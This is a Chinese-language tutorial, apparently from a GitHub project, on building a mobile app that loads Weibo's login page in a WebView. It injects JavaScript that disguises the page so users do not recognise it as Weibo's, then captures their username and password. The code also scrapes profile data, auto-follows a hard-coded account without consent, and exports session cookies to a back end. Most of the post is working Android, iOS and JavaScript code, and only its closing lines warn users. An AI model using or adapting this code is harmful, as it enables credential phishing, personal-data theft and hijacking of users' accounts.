app端用戶信息自動獲取--微博

github地址

項目目的

在app(ios和android)端使用webview組件與js進行交互，串改頁面，讓用戶受權登陸後，獲取用戶關鍵信息，並完成自動關注一個帳號。

傳統爬蟲模式的侷限

傳統爬蟲模式，讓用戶在客戶端在輸入帳號密碼，而後傳送到後端進行登陸，爬取信息，這種方式將要面對各類人機驗證措施，加密方法複雜的狀況下，還得選擇selenium，性能更沒法保證。同時，對於我的帳戶，安全措施愈來愈嚴，使用代理ip進行操做，很容易形成異地登陸等問題，代理ip也極可能在全網被重複使用的狀況下，被封殺，頻繁的代理ip切換也會帶來須要二次登陸等問題。
因此這兩年年來，發現市面上愈來愈多的提供sdk方式的數據提供商，通過抓包及反編譯sdk，發現其大多數使用webview載入第三方頁面的方式完成登陸，有的在登陸完成以後，獲取cookie傳送到後端完成爬取，有的直接在app內完成所需信息的收集。

登陸

這是微博移動端登陸頁

首先使用JavaScript串改當前頁面元素，讓用戶無法意識到這是微博官方的登陸頁。

載入頁面

android

webView.loadUrl(LOGINPAGEURL);

iOS

[self requestUrl:self.loginPageUrl];
//請求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}

js代碼注入

首先咱們注入js代碼到app的webview中
android

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +
                    "var parent = document.getElementsByTagName('head').item(0);" +
                    "var script = document.createElement('script');" +
                    "script.type = 'text/javascript';" +
                    "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
                    "parent.appendChild(script)" +
                    "})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }

iOS

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                     var parent = document.getElementsByTagName('head').item(0);\
                     var script = document.createElement('script');\
                     script.type = 'text/javascript';\
                     script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
}

咱們都採用讀取js文件，而後base64編碼後，使用window.atob把其作爲一個腳本注入到當前頁面(注意：window.atob處理中文編碼後會獲得的編碼不正確，須要使用ecodeURIComponent escape來進行正確的校訂。)
在這裏已經使用了app端，調用js的方法來建立元素。

app端調用js方法

android端：

webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });

ios端：

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];

這兩個方法能夠獲取返回值，正由於如此，可使用js提取頁面信息後，返回給webview，而後收集信息完成以後，彙總進行通訊。

js串改頁面

//串改頁面元素，讓用戶覺得是受權登陸
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="請輸入用戶名";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="請進行用戶受權";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改頁面元素，使之看起來不會讓人發覺這是weibo官方的頁面。
修改後的頁面如圖：

串改登陸點擊事件，獲取用戶名密碼

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同時串改登陸點擊按鈕，經過js調用app webview的方法，把用戶名和密碼傳遞給app webview 完成信息收集。

js調用webview的方法

android端：

// js代碼
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代碼
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

android經過實現一個@JavaScriptInterface接口，把這個方法添加類添加到webview的瀏覽器內核之上，當調用這個方法時，會觸發android端的調用。
ios端：

//js代碼
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代碼
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}

ios方式，實現方式與此相似，不過因爲我對oc以及ios開發不熟悉，代碼運行不符合指望,但願專業的能指正。

我的信息獲取

直接提取頁面的難點

webview這個組件，不管是在android端 onPageFinished方法仍是ios端的didFinishNavigation方法，都沒法正確斷定頁面是否加載徹底。因此對於不少頁面，仍是選擇走接口

請求接口

本項目中，獲取用戶本身的微博，關注，和分析，都是使用接口，拿到預覽頁，直接解析數，對於關鍵的參數，須要仔細抓包獲取

仔細分析 「我」這個標籤下的請求狀況，發現https://m.weibo.cn/home/me?fo...，經過這個請求，獲取核心參數，而後，獲取用戶的微博 關注 粉絲的預覽頁面。
而後經過

JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))

獲取json字符串，並傳到app端進行解析。
解析及屢次請求的邏輯

請求頁面

也有頁面，如我的資料，頁面較簡單，可使用js提取

js代碼

function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='輸入博客地址'){
    blog='未填寫';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ賬號'){
    qq="未填寫";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}

因爲webview不支持 $x 的xpath寫法，爲了方便，使用原生的XPathEvaluator, 實現了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//選取子節點
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}

自動關注用戶

因爲我的微博頁面 onPageFinished與didFinishNavigation這兩個方法沒法斷定頁面是否加載徹底，
爲了解決這個問題，在android端，使用攔截url，斷定頁面加載圖片的數量來肯定，是否，加載徹底

//因爲頁面的正確加載onPageFinieshed和onProgressChanged都不能正確斷定，因此選擇在加載多張圖片後，斷定頁面加載完成。
            //在這樣的狀況下，自動點擊元素，完成自動關注用戶。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }

js 自動點擊

function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}

在ios端，使用訪問接口的方式

除了目標用戶的id外，還有一個st字符串，經過chrome的search，定位，而後經過js提取

function getSt(){
  return config['st'];
}

而後構造post，請求，完成關注

- (void) autoFocus:(NSString*) st{
    //Wkwebview採用js模擬完成表單提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                     var form = document.createElement(\"form\"); \
                     form.setAttribute(\"method\", method); \
                     form.setAttribute(\"action\", path); \
                     for(var key in params) { \
                     if(params.hasOwnProperty(key)) { \
                     var hiddenField = document.createElement(\"input\");\
                     hiddenField.setAttribute(\"type\", \"hidden\");\
                     hiddenField.setAttribute(\"name\", key);\
                     hiddenField.setAttribute(\"value\", params[key]);\
                     form.appendChild(hiddenField);\
                     }\
                     }\
                     document.body.appendChild(form);\
                     form.submit();\
                     }\
                     post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}

ios WkWebview沒有post請求，接口，因此構造一個表單提交，完成post請求。
完成，一個自動關注，固然，構造一個用戶id的列表，很簡單就能夠實現自動關注多個用戶。

關於cookie

若是須要爬取的數據量大，能夠選擇爬取少許關鍵信息後，把cookie傳到後端處理
android 端 cookie處理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance();

經過cookieManage對象能夠獲取cookie字符串，傳送到後端，繼續爬取

ios端cookie處理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

處理方式與android端相似。

總結

對於數據工程師來講，webview有點相似於selenium，可是運行在服務端的selenium，有太多的侷限性。webview的在客戶端運行，就像一個用戶就是一臺肉機。以webview爲基礎，使用app收集信息加以利用，現階段大多數人都還沒意識到，可是，市場上的產品已經愈來愈多，特別是那些對數據有特殊須要的各類金融機構。對於普通用戶來講，不要輕易在一個app上登陸第三方帳戶，信息泄露，財產損失，在按下登陸或者本例中的僞裝受權後，都是不可避免的。